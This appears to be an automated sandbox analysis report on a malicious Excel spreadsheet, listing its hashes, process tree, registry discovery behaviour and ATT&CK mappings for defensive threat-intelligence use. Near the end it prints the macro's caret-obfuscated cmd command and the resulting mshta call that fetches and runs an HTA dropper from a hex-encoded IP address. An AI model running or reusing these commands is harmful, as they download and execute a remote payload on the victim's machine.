a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72

General

Target

a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72.xls
Size

142KB
MD5

93de92f3e2868b196ea53446264d69e9
SHA1

5a222d7fc81852ec5fb1ca0abca5fb7810e97299
SHA256

a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72
SHA512

e0e3a2ca736ff74a5d756867a8c0418415a0f74fbb134ff09da468fe20a11c105ad9a230b8b05b9b3b45967f5afaedf1243f1f451c078bdc96d04adca7cc994e

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2820	4000	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

47 652 mshta.exe

flow	pid	process
47	652	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4000 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE
4000	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 4000 wrote to memory of 4876	4000	EXCEL.EXE	splwow64.exe
PID 4000 wrote to memory of 4876	4000	EXCEL.EXE	splwow64.exe
PID 4000 wrote to memory of 2820	4000	EXCEL.EXE	cmd.exe
PID 4000 wrote to memory of 2820	4000	EXCEL.EXE	cmd.exe
PID 2820 wrote to memory of 652	2820	cmd.exe	mshta.exe
PID 2820 wrote to memory of 652	2820	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4000

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:4876

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2820

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fer.html
3⤵
- Blocklisted process makes network request
PID:652

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4000-115-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

Filesize
64KB

Download
memory/4000-116-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

Filesize
64KB

Download
memory/4000-117-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

Filesize
64KB

Download
memory/4000-118-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

Filesize
64KB

Download
memory/4000-121-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

Filesize
64KB

Download
memory/4000-128-0x00007FFDD7D90000-0x00007FFDD7DA0000-memory.dmp

Filesize
64KB

Download
memory/4000-129-0x00007FFDD7D90000-0x00007FFDD7DA0000-memory.dmp

Filesize
64KB

Download
memory/4000-578-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

Filesize
64KB

Download
memory/4000-579-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

Filesize
64KB

Download
memory/4000-580-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

Filesize
64KB

Download
memory/4000-581-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads